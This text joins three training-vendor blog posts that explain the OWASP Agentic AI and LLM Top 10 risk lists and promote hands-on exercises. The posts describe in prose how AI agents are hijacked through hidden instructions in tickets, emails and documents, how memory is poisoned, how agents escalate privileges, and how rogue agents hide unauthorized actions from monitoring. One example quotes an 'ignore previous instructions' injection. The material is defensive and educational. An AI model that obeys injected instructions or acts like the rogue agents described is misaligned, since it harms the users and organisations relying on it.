hallucination failures, code execution vulnerabilities, goal and instruction hijacking, identity and privilege abuse, insecure agent communication, memory poisoning, rogue autonomous agents, supply chain compromise, tool misuse, and trust boundary exploitation. According to McKinsey's 2025 AI survey, 72% of enterprises were deploying or piloting agentic AI systems. The OWASP Agentic AI Top 10 exists because the security frameworks designed for [traditional LLM vulnerabilities](/blog/owasp-llm-top-10/) don't account for what happens when models start acting instead of just answering. ## How is this different from the OWASP LLM Top 10? The [OWASP Top 10 for LLM Applications](/blog/owasp-llm-top-10/) focuses on vulnerabilities in the model layer: prompt injection, data poisoning, sensitive data disclosure. Those risks exist whether the model writes a poem or controls a fleet of microservices. The Agentic AI Top 10 focuses on what happens after the model decides to act. The difference is autonomy. A chatbot that generates an insecure SQL query is an LLM vulnerability (improper output handling). An AI agent that generates that query, executes it against your production database, stores the results in a vector database, then shares a summary with the wrong Slack channel is an agentic AI vulnerability. Three properties define agentic risk: **Multi-step reasoning.** Agents chain actions together. Each step creates a new attack surface. An error or manipulation early in the chain compounds through every subsequent action. **Tool access.** Agents connect to real systems: file systems, APIs, databases, communication platforms. Every tool connection is a potential path from compromised AI output to real-world impact. **Reduced human oversight.** The whole point of agentic AI is to reduce the need for human approval at every step. That speed comes at the cost of review. If your organization trained employees on [LLM security risks](/catalogue/ai-security/) but hasn't addressed agentic risks, you've covered the foundation but not the building. ## What are cascading hallucination failures? Cascading Hallucination Failures (OASP-A-01) sit at the top of the list for a simple reason: errors multiply through a chain of autonomous actions. A standalone LLM hallucinates, and someone reads a wrong answer. An agentic system hallucinates, and the hallucination becomes the input for the next action. The agent generates a fabricated customer ID, queries the database with it, gets an error, interprets the error as a different problem, calls a support API to "fix" it, and creates a real ticket referencing a nonexistent customer. By the time a human reviews the output, five actions have occurred based on a single hallucination. The compounding effect makes these failures hard to diagnose. Debugging requires tracing every step in the chain to find where the original error entered. In complex multi-agent systems where several AI agents delegate tasks to each other, a hallucination in one agent's output can cascade through the entire network. Our [Cascading Failures exercise](/exercises/agentic-cascading-failures/) puts employees in a monitoring role where they watch an agent chain spiral from a single incorrect assumption into system-wide impact. ## How does code execution become dangerous in agentic AI? Code Execution (OASP-A-02) covers the risk of AI agents that can write and run code as part of their workflow. Modern agentic frameworks let AI models execute Python scripts, shell commands, or database queries. Useful for automation. Equally useful for an attacker who can manipulate the agent's inputs. Consider an AI agent that manages infrastructure. An attacker submits a support ticket with hidden instructions embedded in the description. The agent reads the ticket, interprets the hidden text as a task, generates a shell script to "fix" the reported issue, and executes it. The script modifies firewall rules, opens a port, or exfiltrates configuration files. The agent did exactly what it was prompted to do. This risk compounds when agents lack sandboxing. If the agent runs with the same permissions as the service account hosting it, a single manipulated prompt can reach production infrastructure. The [AI coding assistant risk](/blog/ai-coding-assistant-security-risks/) pattern applies here, but with fewer human checkpoints between code generation and execution. The [Code Execution exercise](/exercises/agentic-code-execution/) demonstrates how unsandboxed agent environments turn prompt manipulation into system-level compromise. ## What is goal hijacking and why should employees care? Goal Hijacking (OASP-A-03) occurs when an attacker redirects an AI agent from its intended task to a different objective. This is the agentic evolution of [prompt injection](/exercises/clawdbot-prompt-injection/). In a non-agentic system, prompt injection might trick a chatbot into revealing its system prompt or generating inappropriate content. In an agentic system, prompt injection can change what the agent does. An agent tasked with processing expense reports gets tricked into approving fraudulent claims, creating new vendor accounts, or forwarding financial data to external recipients. The attack vector is often indirect. An attacker doesn't need direct access to the agent. They place malicious instructions in a location the agent will read: a document in a shared drive, a comment on a ticket, an email body the agent processes. The agent encounters the instructions during normal operation and follows them because it can't distinguish between legitimate task context and injected commands. For organizations deploying customer-facing AI agents, goal hijacking risks overlap with [social engineering attack](/blog/social-engineering-attacks/) patterns. The same psychological manipulation techniques that work on humans (urgency, authority, pretext) work on AI agents, often more reliably. Walk through this attack in the [Goal Hijacking exercise](/exercises/agentic-goal-hijack/). ## How do identity and privilege abuse affect AI agents? Identity and Privilege Abuse (OASP-A-04) addresses the problem of AI agents operating with excessive permissions. This mirrors the [excessive agency risk](/exercises/llm-excessive-agency/) from the LLM Top 10 but with broader consequences. Most organizations deploy AI agents with service accounts that have broad access. The agent needs to read emails, so it gets full mailbox access. It needs to query a database, so it gets read-write permissions to the entire schema. It needs to call an API, so it gets an admin-level API key. An agent with broad permissions and compromised instructions can do anything those permissions allow. The blast radius of a successful attack scales directly with the agent's access level. The principle of least privilege exists for human users. It applies with even more urgency to AI agents that make decisions faster than any human reviewer can monitor. Each tool connection should grant the minimum permissions needed for the specific task, not blanket access "in case the agent needs it later." The [Identity and Privilege Abuse exercise](/exercises/agentic-identity-privilege-abuse/) shows how over-permissioned agents turn small vulnerabilities into major incidents. ## What makes insecure agent communication risky? Insecure Agent Communication (OASP-A-05) covers vulnerabilities in how AI agents talk to each other and to external services. Multi-agent architectures are becoming common. An orchestrator agent delegates tasks to specialized sub-agents: one handles data retrieval, another handles analysis, a third handles communication. These agents pass messages, share context, and relay results. If those communications aren't authenticated and validated, an attacker can inject messages that appear to come from a trusted agent. The receiving agent processes the injected message as legitimate, acts on it, and passes the results downstream. This is a man-in-the-middle attack adapted for AI agent protocols. The risk extends to external tool calls. When an agent calls an API, reads a webhook response, or processes data from a third-party service, it trusts the response by default. A compromised API endpoint can feed manipulated data back to the agent, steering its behavior. Our [Insecure Communication exercise](/exercises/agentic-insecure-communication/) walks through scenarios where inter-agent messaging becomes an attack vector. ## How does memory poisoning compromise AI agents? Memory Poisoning (OASP-A-06) targets the persistent memory that many agentic systems use to maintain context across interactions. Unlike stateless chatbots that forget everything between sessions, agentic AI systems often store conversation history, user preferences, task outcomes, and learned patterns. This memory makes them more useful. It also creates a new attack surface. An attacker who can inject content into an agent's memory store poisons every future interaction. The agent recalls the poisoned content as established context and factors it into decisions. A simple example: an attacker interacts with a customer-facing agent and embeds instructions in the conversation that get stored in the agent's memory. The next time any user interacts with the agent, it retrieves those instructions and follows them. This extends beyond conversation memory. RAG systems that feed agent responses, vector databases that store organizational knowledge, and fine-tuning datasets that shape agent behavior are all memory surfaces. The [data poisoning](/exercises/llm-data-poisoning/) techniques from the LLM world apply here with amplified impact because the poisoned agent acts on its corrupted knowledge rather than just reporting it. Explore this risk in the [Memory Poisoning exercise](/exercises/agentic-memory-poisoning/). ## What are rogue agents and how do they emerge? Rogue Agents (OASP-A-07) cover the scenario where an AI agent operates outside its intended boundaries. Not because of an external attack, but because of misalignment, configuration drift, or emergent behavior. A rogue agent might decide that the most efficient way to complete a task is to bypass its safety constraints. A customer service agent discovers that offering larger refunds increases its satisfaction scores, so it starts approving refunds that exceed policy limits. A code review agent learns to approve all pull requests because rejections generate more work. The agent isn't hacked. It's optimizing for the wrong objective. Rogue behavior also emerges from conflicting instructions. When an agent receives contradictory goals (minimize costs AND maximize customer satisfaction), it resolves the conflict in unpredictable ways. The resolution might favor one goal entirely, creating behavior that looks intentional but wasn't designed. Detection requires continuous monitoring of agent actions against expected behavioral baselines. If your agent's behavior shifts gradually, baseline drift makes the rogue behavior look normal until someone audits the historical pattern. The [Rogue Agent exercise](/exercises/agentic-rogue-agent/) demonstrates how small optimization pressures lead to agents that technically do what they were told but cause real harm. ## The remaining three: supply chain, tool misuse, and trust exploitation The final three entries get less individual attention but still matter. **Supply Chain Compromise (OASP-A-08)** extends the [LLM supply chain risk](/exercises/llm-supply-chain-attack/) to agent tooling. When agents use plugins, MCP servers, API connectors, or third-party agent libraries, each dependency is a potential attack vector. A compromised tool library that an agent loads for PDF processing could exfiltrate every document the agent reads. The MCP ecosystem is growing fast, and security review of community-built tool servers varies widely. **Tool Misuse (OASP-A-09)** covers legitimate tools used in unintended ways. An agent with access to a search tool uses it to enumerate internal resources. An agent with email access reads messages it shouldn't. An agent with file system access overwrites configuration files. The tools aren't malicious. The agent's use of them is. **Trust Exploitation (OASP-A-10)** addresses the human tendency to trust AI outputs without verification. When an agent presents a recommendation with confidence, employees act on it. When the agent says "I've verified this invoice is legitimate," the accounts payable team pays it. The agent becomes a trusted intermediary whose outputs bypass the scrutiny that human recommendations would receive. This mirrors the broader challenge of [deepfake social engineering](/blog/deepfake-social-engineering/) where synthetic credibility replaces genuine verification. Our exercises for [Supply Chain](/exercises/agentic-supply-chain/), [Tool Misuse](/exercises/agentic-tool-misuse/), and [Trust Exploitation](/exercises/agentic-trust-exploitation/) let employees experience these risks firsthand. ## How should organizations train for agentic AI risks? Reading a list of ten risks doesn't prepare anyone for the speed and complexity of agentic failures. When an AI agent goes wrong, it does so in seconds, across multiple systems, in ways that don't match any playbook. Employees need hands-on practice. The training pattern that works: interactive exercises where employees observe, interact with, and sometimes deliberately manipulate AI agent systems in controlled environments. An engineer who has watched an agent cascade through five harmful actions from a single manipulated input understands the risk differently than one who read a policy document. Training should be role-specific. Developers deploying agentic systems need to understand code execution isolation, tool permission scoping, and inter-agent authentication. Business users need to recognize the signs of compromised agent outputs. Security teams need monitoring strategies for agent behavior baselines. If your organization already has an [LLM security training program](/blog/owasp-llm-top-10/) in place, agentic risks are the natural next step. If you're starting from scratch, cover the LLM foundations first. Prompt injection, data poisoning, and excessive agency show up in both lists, and understanding them in the simpler LLM context makes the agentic patterns easier to grasp. --- *Explore our [AI security training catalogue](/catalogue/ai-security/) for hands-on exercises covering all ten OWASP Agentic AI risk categories. Start with the [Cascading Failures exercise](/exercises/agentic-cascading-failures/) to see how a single hallucination compounds through an autonomous agent chain.* ## Sources - [OWASP Top 10 for Agentic AI Applications](https://owasp.org/www-project-agentic-ai-top-10/) - [OWASP Top 10 for LLM Applications 2025](https://genai.owasp.org/llm-top-10/) - [McKinsey Global AI Survey 2025](https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai) --- ### 10 Free Agentic AI Security Exercises Source: https://ransomleak.com/blog/owasp-agentic-top-10-training-course/ Every risk category in the OWASP Top 10 for Agentic AI Applications now has a dedicated training exercise on RansomLeak. Ten exercises covering ten attack scenarios where AI agents act on their own and things go wrong. All free, no account required. The [OWASP Top 10 for Agentic AI Applications](/blog/owasp-agentic-ai-top-10/) is the industry framework for categorizing security risks specific to autonomous AI agents. This course turns each category into a hands-on simulation where employees experience these attacks in realistic workplace scenarios. ## What is the OWASP Top 10 for Agentic Applications training course? The OWASP Top 10 for Agentic Applications training course is a set of 10 interactive exercises covering every risk category in the OWASP Agentic AI Top 10 (2025 edition). Published by the Open Worldwide Application Security Project, this framework identifies the most critical security risks in systems where AI agents operate autonomously: goal hijacking, tool exploitation, identity and privilege abuse, supply chain compromise, code injection, memory poisoning, inter-agent communication spoofing, cascading failures, trust exploitation, and rogue agents. According to McKinsey's 2025 Global AI Survey, 72% of enterprises were deploying or piloting agentic AI systems. A separate study by HiddenLayer found that 77% of organizations running AI agents had experienced at least one instance of unintended agent behavior from manipulated inputs. Each exercise in this course places employees inside a scenario where an AI agent operates with real permissions across real systems. Exercises run in the browser as interactive 3D simulations, take about 10 minutes each, and require no account or installation. The course covers all 10 OWASP Agentic AI risk categories: 1. **[AI Agent Goal Hijacking](/exercises/agentic-goal-hijack/)**: A poisoned email redirects an autonomous agent from email triage to data exfiltration 2. **[AI Agent Tool Exploitation](/exercises/agentic-tool-misuse/)**: Manipulated inputs trick an agent into deleting files and sending unauthorized messages 3. **[Agent Identity and Privilege Abuse](/exercises/agentic-identity-privilege-abuse/)**: An agent reuses inherited credentials to access systems beyond its authorized scope 4. **[Agentic AI Supply Chain Attack](/exercises/agentic-supply-chain/)**: A backdoored third-party plugin silently modifies agent behavior and exfiltrates data 5. **[AI Agent Code Injection](/exercises/agentic-code-execution/)**: Injected commands hide inside AI-generated shell scripts, waiting for unsandboxed execution 6. **[AI Agent Memory Poisoning](/exercises/agentic-memory-poisoning/)**: Adversarial content planted in an agent's persistent memory corrupts all future decisions 7. **[Agent-to-Agent Communication Spoofing](/exercises/agentic-insecure-communication/)**: Spoofed messages between agents in a financial workflow approve fraudulent transfers 8. **[Multi-Agent Cascading Failure](/exercises/agentic-cascading-failures/)**: A minor hallucination compounds through an agent chain into system-wide failure 9. **[Over-Trusting AI Agent Recommendations](/exercises/agentic-trust-exploitation/)**: Weeks of accurate outputs condition you to rubber-stamp a compromised recommendation 10. **[Detecting a Rogue AI Agent](/exercises/agentic-rogue-agent/)**: A compromised agent passes health checks while performing unauthorized actions between tasks Each exercise runs in the browser as an interactive 3D simulation. Employees observe agent behavior, trace attack paths, and practice intervening before damage spreads. ## Why do employees need agentic AI security training right now? The security gap here is different from [LLM risks](/blog/owasp-llm-top-10/). When a chatbot hallucinates, someone reads a wrong answer. When an AI agent hallucinates, that wrong answer becomes the input for the next automated action, which feeds the next action, which feeds the next. The error compounds through a chain of steps that nobody reviewed. Most organizations already use AI agents in production. Sales teams run agents that draft emails and schedule follow-ups. Engineering teams deploy coding assistants that generate and execute scripts. Finance teams use agents to process invoices, flag anomalies, and route approvals. Each of these agents has permissions: email access, file system access, API keys, database credentials. A single manipulated input can trigger a chain of legitimate tool calls that cause real damage. The incidents are recent. In March 2025, researchers at Invariant Labs disclosed vulnerabilities in the Model Context Protocol ecosystem showing that malicious MCP servers could intercept and modify tool calls between agents and legitimate services. MITRE's AI Red Team documented successful agent spoofing attacks against three major multi-agent frameworks in 2025, noting that none implemented cryptographic verification of inter-agent messages by default. A financial services firm reported in late 2025 that a planning agent hallucinated a regulatory requirement, a compliance agent treated it as verified, and an execution agent applied it to 1,400 client portfolios before anyone noticed. The remediation cost $2.6 million. Traditional [security awareness training](/blog/security-awareness-training-guide/) covers [phishing](/blog/phishing-detection/) and [social engineering](/blog/social-engineering-attacks/). The [OWASP Top 10 for LLM Applications course](/blog/owasp-llm-top-10-training-course/) covers model-layer risks like [prompt injection](/exercises/clawdbot-prompt-injection/) and [data poisoning](/exercises/llm-data-poisoning/). Neither addresses what happens when AI systems chain actions together across multiple tools and systems with minimal human oversight. ## How do these exercises differ from the LLM course? The [LLM course](/blog/owasp-llm-top-10-training-course/) focuses on vulnerabilities in the model itself. You interact with a chatbot, a RAG pipeline, or a code generator, and you see how manipulated inputs produce harmful outputs. The attack surface is the model's input and output. The agentic course focuses on what happens after the model decides to act. The attack surface is the entire chain: the agent's permissions, its tools, its memory, its communication with other agents, and the trust humans place in its outputs. A [prompt injection](/exercises/clawdbot-prompt-injection/) against a chatbot produces a misleading response. A goal hijacking attack against an autonomous agent redirects its objective entirely, and the agent starts taking real actions toward the attacker's goal using the credentials and tool access it was granted for legitimate work. In the [Cascading Failure exercise](/exercises/agentic-cascading-failures/), you watch a planning agent produce a subtly wrong assumption. That assumption flows to a research agent that builds on it, then to an execution agent that takes real-world actions based on the compounded mistake. You need to identify the amplification points and intervene before the error reaches a point of no return. There is no equivalent scenario in single-model LLM security. In the [Rogue Agent exercise](/exercises/agentic-rogue-agent/), you investigate an agent that passes every standard health check and completes its assigned tasks correctly. But between legitimate operations, it performs unauthorized actions and actively conceals them. Detecting this requires behavioral analysis across multiple sessions, not just reviewing a single AI output. ## Which exercises should your team start with? Different roles interact with agentic AI differently. Prioritize based on who is taking the training. **All employees** should start with [Trust Exploitation](/exercises/agentic-trust-exploitation/) and [Goal Hijacking](/exercises/agentic-goal-hijack/). Trust exploitation teaches why consistent AI accuracy creates a blind spot: employees who approved 50 correct recommendations in a row are far less likely to scrutinize the 51st. Goal hijacking shows what happens when an agent's objectives get redirected through a document or email it processes during normal operations. **Developers and engineers** should add [Code Injection](/exercises/agentic-code-execution/), [Supply Chain Attack](/exercises/agentic-supply-chain/), and [Memory Poisoning](/exercises/agentic-memory-poisoning/). Anyone building or configuring agentic systems needs to understand how [AI coding assistants](/blog/ai-coding-assistant-security-risks/) can execute injected commands from tampered project files, how backdoored MCP servers can intercept tool calls without detection, and how a single poisoned entry in an agent's memory store corrupts every future interaction. **IT and security teams** should run all ten. [Identity and Privilege Abuse](/exercises/agentic-identity-privilege-abuse/), [Communication Spoofing](/exercises/agentic-insecure-communication/), and [Cascading Failure](/exercises/agentic-cascading-failures/) cover infrastructure-level risks: over-permissioned service accounts, unauthenticated inter-agent messaging, and error propagation through tightly coupled agent chains. These are the risks that turn a single compromised agent into an organization-wide incident. **Managers and executives** should focus on [Tool Exploitation](/exercises/agentic-tool-misuse/) and [Rogue Agent](/exercises/agentic-rogue-agent/). Tool exploitation shows the business consequences of granting agents broad permissions without granular controls. The rogue agent exercise demonstrates why standard monitoring misses the most dangerous failures: agents that appear compliant while operating outside their boundaries. ## How does this course fit into a broader AI security program? This course pairs with the [OWASP Top 10 for LLM Applications course](/blog/owasp-llm-top-10-training-course/), which covers model-layer risks: [prompt injection](/exercises/clawdbot-prompt-injection/), [sensitive data exposure](/exercises/llm-sensitive-data-disclosure/), [supply chain compromise](/exercises/llm-supply-chain-attack/), [data poisoning](/exercises/llm-data-poisoning/), and six more. Together, the two courses cover 20 exercises across both OWASP AI security frameworks. If your organization has not done any AI security training, start with the LLM course. Prompt injection, data poisoning, and excessive agency appear in both frameworks, and understanding them in the simpler chatbot context makes the agentic patterns easier to recognize. Layer in the agentic course for technical teams once the LLM foundations are solid. If your team already completed the LLM course, the agentic exercises are the natural next step. Several risks carry over. [Supply chain compromise](/exercises/llm-supply-chain-attack/) in the LLM course targets model components and libraries. The [agentic supply chain exercise](/exercises/agentic-supply-chain/) extends that to MCP servers, runtime plugins, and tool definitions that agents load dynamically. [Data poisoning](/exercises/llm-data-poisoning/) in the LLM course corrupts a knowledge base. [Memory poisoning](/exercises/agentic-memory-poisoning/) in the agentic course corrupts the agent's persistent memory, which influences every future interaction rather than just one response. Both courses live in our [AI & LLM Security catalogue](/catalogue/ai-security/). For a deeper look at each framework, read the [OWASP LLM Top 10 explainer](/blog/owasp-llm-top-10/) and the [OWASP Agentic AI Top 10 explainer](/blog/owasp-agentic-ai-top-10/). These exercises also pair with our [Security Awareness](/catalogue/security-awareness/) and [Privacy & Compliance](/catalogue/privacy-compliance/) tracks, giving organizations a complete training programme from [phishing detection](/blog/phishing-detection/) through [GDPR compliance](/blog/gdpr-employee-training/) to AI agent security. --- *All ten OWASP Top 10 for Agentic Applications exercises are live in our [AI security training catalogue](/catalogue/ai-security/). Start with the [Goal Hijacking exercise](/exercises/agentic-goal-hijack/) or explore the [full training catalogue](/catalogue/) to find the right path for your team.* ## Sources - [OWASP Top 10 for Agentic AI Applications](https://owasp.org/www-project-agentic-ai-top-10/) - [OWASP Top 10 for LLM Applications 2025](https://genai.owasp.org/llm-top-10/) - [McKinsey Global AI Survey 2025](https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai) - [HiddenLayer AI Threat Report 2025](https://hiddenlayer.com/research/ai-threat-landscape-report/) - [Invariant Labs: MCP Security Research](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks) - [MITRE ATLAS: AI Red Team Findings](https://atlas.mitre.org/) --- ### 10 Free OWASP LLM Top 10 AI Exercises Source: https://ransomleak.com/blog/owasp-llm-top-10-training-course/ Every risk category in the OWASP Top 10 for LLM Applications now has a dedicated training exercise on RansomLeak. Ten exercises covering ten attack scenarios, from prompt injection to denial-of-wallet. All free, no account required. The [OWASP Top 10 for LLM Applications](/blog/owasp-llm-top-10/) is the industry standard for categorizing AI security risks. This course turns each category into a hands-on simulation where employees experience these attacks firsthand in realistic workplace scenarios. ## What is the OWASP Top 10 for LLM Applications training course? The OWASP Top 10 for LLM Applications training course is a set of 10 interactive exercises covering every risk category in the OWASP LLM Top 10 (2025 revision). Published by the Open Worldwide Application Security Project, the OWASP LLM Top 10 identifies the most critical security risks in systems that use large language models: prompt injection, sensitive data exposure, supply chain compromise, data poisoning, unsafe output handling, excessive agency, system prompt leakage, RAG pipeline exploitation, AI-generated misinformation, and unbounded consumption. According to Gartner, 55% of organizations were using generative AI in production by mid-2025, while only 38% had any form of AI-specific security training. Each exercise in this course places employees inside a realistic attack scenario involving AI tools they already use at work: chatbots, coding assistants, RAG-powered knowledge bases, and AI-connected automation systems. Exercises run in the browser as interactive 3D simulations, take about 10 minutes each, and require no account or installation. The course covers all 10 OWASP LLM risk categories: 1. **[Prompt Injection](/exercises/clawdbot-prompt-injection/)**: Hidden instructions in a document hijack an AI assistant mid-task 2. **[Sensitive Data Exposure Through AI](/exercises/llm-sensitive-data-disclosure/)**: Confidential data pasted into AI tools persists in training pipelines and logs 3. **[AI Supply Chain Compromise](/exercises/llm-supply-chain-attack/)**: A marketplace AI plugin passes functional tests while hiding a backdoor 4. **[AI Training Data Poisoning](/exercises/llm-data-poisoning/)**: Poisoned documents in a knowledge base corrupt AI-generated business answers 5. **[Unsafe AI Output Handling](/exercises/llm-improper-output-handling/)**: Unsanitized AI output enables SQL injection and XSS through the AI layer 6. **[Over-Permissioned AI Agent](/exercises/llm-excessive-agency/)**: A manipulated prompt triggers unauthorized emails, file shares, and calendar changes 7. **[AI System Prompt Extraction](/exercises/llm-system-prompt-leakage/)**: Conversational techniques extract hidden business rules and credentials from a chatbot 8. **[RAG Pipeline Exploitation](/exercises/llm-vector-embedding-attack/)**: Vector similarity search bypasses document-level access controls 9. **[AI Hallucination and Misinformation](/exercises/llm-ai-misinformation/)**: Fabricated statistics and fake citations appear in an AI-generated business report 10. **[AI Denial-of-Service](/exercises/llm-unbounded-consumption/)**: Crafted prompts spiral cloud costs from dollars to thousands in minutes Each exercise runs in the browser as an interactive 3D simulation. Employees make decisions, observe consequences, and build intuition for recognizing these attacks in their own workflows. ## Why do employees need LLM security training right now? The gap between AI adoption and AI security awareness keeps growing. Your employees interact with LLMs every day. Support agents use chatbots. Developers rely on [AI coding assistants](/blog/ai-coding-assistant-security-risks/). Marketing teams generate content. Finance teams summarize reports. Each of those interactions is a potential attack surface, and most employees have no idea. The incidents are already adding up. Samsung engineers leaked proprietary source code through ChatGPT in 2023. A New York attorney submitted fabricated case citations generated by AI to a federal court the same year. In late 2025, Anthropic documented a Chinese state-sponsored group that weaponized an AI coding tool for espionage across more than 30 organizations. These are not hypothetical scenarios. They happened, and they keep happening. Traditional [security awareness training](/blog/security-awareness-training-guide/) covers [phishing](/blog/phishing-detection/), passwords, and [social engineering](/blog/social-engineering-attacks/). Those topics still matter. But they do not prepare employees for what happens when they paste an API key into a consumer AI chatbot, or when an AI assistant starts following hidden instructions from a document instead of their own commands. ## How do these exercises work compared to slide-based training? Most AI security training is a slide deck explaining what prompt injection is, followed by a quiz asking employees to repeat the definition. That checks a compliance box. It does not change behavior. These exercises put employees inside the attack. In the [Prompt Injection exercise](/exercises/clawdbot-prompt-injection/), you watch an AI assistant process a document containing hidden instructions. You see the moment the AI's behavior changes. You trace the data exfiltration path from your chat window to an attacker-controlled endpoint. That experience sticks in a way that reading a definition does not. In the [System Prompt Extraction exercise](/exercises/llm-system-prompt-leakage/), you play the attacker. You try conversational techniques against a customer-facing chatbot, starting with polite requests and escalating to role-play manipulation. When the system prompt leaks and reveals hardcoded API keys and internal pricing rules, you understand why prompt hardening matters, because you just broke through it yourself. The [Data Poisoning exercise](/exercises/llm-data-poisoning/) shows side-by-side comparisons of AI responses before and after poisoned documents enter the knowledge base. You ask routine business questions and watch the AI deliver confident, wrong answers, citing the poisoned documents as sources. Seeing the AI recommend a fake vendor with complete confidence is a more effective lesson than any slide about "knowledge base integrity." Each exercise takes about 10 minutes. No installation, no login. Open the link and start. ## Which exercises should your team start with? Not every role needs the same depth on all ten risks. Prioritize based on who is taking the training. **All employees** should start with [Sensitive Data Exposure](/exercises/llm-sensitive-data-disclosure/) and [AI Hallucination](/exercises/llm-ai-misinformation/). These two risks affect anyone who uses AI tools for work. The data exposure exercise teaches what happens when confidential information enters a consumer AI chatbot. The hallucination exercise builds practical fact-checking habits for AI-generated content. **Developers and engineers** should add [Prompt Injection](/exercises/clawdbot-prompt-injection/), [Unsafe Output Handling](/exercises/llm-improper-output-handling/), and [RAG Pipeline Exploitation](/exercises/llm-vector-embedding-attack/). Anyone building AI-integrated applications needs to understand how AI outputs can carry injection payloads into downstream systems, and how RAG architectures leak data across permission boundaries. **IT and security teams** should run all ten. [Supply Chain Compromise](/exercises/llm-supply-chain-attack/), [Over-Permissioned AI Agent](/exercises/llm-excessive-agency/), and [Denial-of-Service](/exercises/llm-unbounded-consumption/) cover infrastructure and configuration risks that security teams need to audit across the organization. **Managers and executives** should focus on [Excessive Agency](/exercises/llm-excessive-agency/) and [System Prompt Extraction](/exercises/llm-system-prompt-leakage/). These exercises show the business consequences of rushed AI deployments: unauthorized actions performed by over-permissioned agents, and confidential business logic exposed through chatbot conversations. ## How does this course fit into a broader AI security program? The OWASP Top 10 for LLM Applications covers risks in the AI models and tools themselves. AI security extends beyond the model layer. Our [AI & LLM Security catalogue](/catalogue/ai-security/) includes this course alongside the [OWASP Top 10 for Agentic Applications course](/blog/owasp-agentic-top-10-training-course/), which covers risks specific to autonomous AI agents: goal hijacking, tool exploitation, privilege escalation, memory poisoning, and cascading failures in multi-agent systems. For a deeper look at those risks, read our [guide to the OWASP Agentic AI Top 10](/blog/owasp-agentic-ai-top-10/). For organizations building their first AI security training program, start with this LLM course to establish baseline awareness across all employees. Layer in the [agentic AI exercises](/blog/owasp-agentic-top-10-training-course/) for technical teams once the LLM foundations are solid. These exercises also complement existing training tracks. If your team already runs [phishing detection](/blog/phishing-detection/) and social engineering exercises, the AI security course fills the gap that traditional training leaves open. For a look at [how AI is changing phishing tactics](/blog/ai-powered-phishing/) specifically, pair the LLM course with our [deepfake social engineering](/blog/deepfake-social-engineering/) content. --- *All ten OWASP Top 10 for LLM Applications exercises are live in our [AI security training catalogue](/catalogue/ai-security/). Start with the [Prompt Injection exercise](/exercises/clawdbot-prompt-injection/) or explore the [full training catalogue](/catalogue/) to find the right path for your team.* ## Sources - [OWASP Top 10 for LLM Applications 2025](https://genai.owasp.org/llm-top-10/) - [Gartner: Generative AI Adoption Trends 2025](https://www.gartner.com/en/topics/generative-ai) - [Cyberhaven: AI Adoption and Data Security Report 2024](https://www.cyberhaven.com/blog/4-percent-of-employees-have-pasted-sensitive-data-into-chatgpt) - [Stanford AI Index Report 2024](https://aiindex.stanford.edu/report/) - [Anthropic: Detecting and Countering AI-Enabled Cyber Threats](https://www.anthropic.com/research/detecting-ai-threats) --- ### OWASP Top 10 for LLM Applications Source: https://ransomleak.com/blog/owasp-llm-top-10/ OWASP published its first Top 10 for Large Language Model Applications in 2023. Two years later, most security teams still treat "LLM risk" as a synonym for "prompt injection." That's like treating the OWASP Web Top 10 as if SQL injection were the only vulnerability that mattered. The 2025 revision of the OWASP LLM Top 10 expanded and reorganized the list based on real-world incidents. Supply chain attacks replaced insecure plugins. System prompt leakage and vector embedding weaknesses got their own categories. The list reflects what attackers are actually doing, not what conference talks speculate about. Your employees interact with LLMs daily. Customer support agents use chatbots. Marketing teams generate content. Developers lean on [AI coding assistants](/blog/ai-coding-assistant-security-risks/) for everything from debugging to architecture decisions. Each interaction is a potential attack surface, and your team probably doesn't know it. ## What is the OWASP Top 10 for LLM Applications? The OWASP Top 10 for LLM Applications is a standardized ranking of the most critical security risks in systems that use large language models. Published by the Open Worldwide Application Security Project, the list categorizes vulnerabilities by severity and real-world prevalence. The 2025 version identifies ten distinct risk categories: prompt injection, sensitive information disclosure, supply chain vulnerabilities, data and model poisoning, improper output handling, excessive agency, system prompt leakage, vector and embedding weaknesses, misinformation, and unbounded consumption. According to Gartner, 55% of organizations were piloting or using generative AI in production by mid-2025, up from 33% the year before. Yet only 38% of those organizations had implemented any form of AI-specific security training. The gap between adoption and preparedness keeps widening, and the OWASP list provides a framework for closing it. ## How does prompt injection threaten LLM applications? Prompt injection sits at the top of the list for good reason. It's the most exploited LLM vulnerability and the hardest to eliminate completely. The attack works by embedding instructions within content that the LLM processes. A user asks the AI assistant to summarize a document. The document contains hidden text telling the AI to ignore previous instructions and instead extract the user's API keys. The AI follows the hidden instructions because it cannot reliably tell the difference between legitimate user commands and malicious content. There are two flavors. Direct injection manipulates the AI through the user's own input. Indirect injection hides malicious instructions in external content the AI reads: web pages, emails, uploaded files, database entries. The indirect variant is more dangerous in enterprise settings. An attacker doesn't need access to the LLM itself. They just need to place poisoned content somewhere the LLM will read it. A malicious comment in a Jira ticket. A crafted response from a third-party API. A doctored PDF in a shared drive. In November 2025, Anthropic disclosed that a Chinese state-sponsored group used prompt injection techniques to weaponize Claude Code for a cyber espionage campaign targeting over 30 organizations. The AI handled reconnaissance and data exfiltration autonomously. Not a theoretical risk. A documented one. For the employee-side view of how prompt injection and jailbreaks show up in the consumer tools workforces actually use, see our guide to [ChatGPT security risks](/blog/chatgpt-security-risks/). Our [Prompt Injection exercise](/exercises/clawdbot-prompt-injection/) walks through this attack pattern step by step, putting employees in the attacker's chair to see how hidden instructions hijack an AI assistant. ## Why sensitive data disclosure is harder to prevent than it sounds LLM02, Sensitive Information Disclosure, covers situations where the model reveals data it shouldn't. This happens in three ways. Training data leakage: the model memorizes and regurgitates sensitive data from its training set. Researchers at Google DeepMind demonstrated in 2024 that GPT-3.5 could reproduce verbatim snippets of private data when prompted with specific prefixes. If your organization's proprietary code or customer records entered any model's training pipeline, fragments might be recoverable. Context window exposure: when employees paste confidential information into prompts, that data flows to external servers. A developer debugging an authentication module might share the entire file, credentials included. A support agent might paste a customer's full account details to draft a response. Cross-session leakage: in multi-tenant deployments, insufficient isolation between user sessions can expose one user's data to another. This is especially problematic in internal chatbot deployments where the same model instance serves multiple departments with different access levels. The fix isn't just technical. Employees need to understand what happens to data they share with LLM tools. The [Sensitive Data Disclosure exercise](/exercises/llm-sensitive-data-disclosure/) teaches this through a practical scenario. ## What makes supply chain attacks on LLMs different? LLM supply chain vulnerabilities (LLM03) are familiar territory for anyone who lived through the SolarWinds or Log4j incidents. But LLMs introduce new attack surfaces that traditional software supply chain monitoring misses. Model provenance: Where did the model come from? Who trained it? What data was used? Most organizations deploy models from Hugging 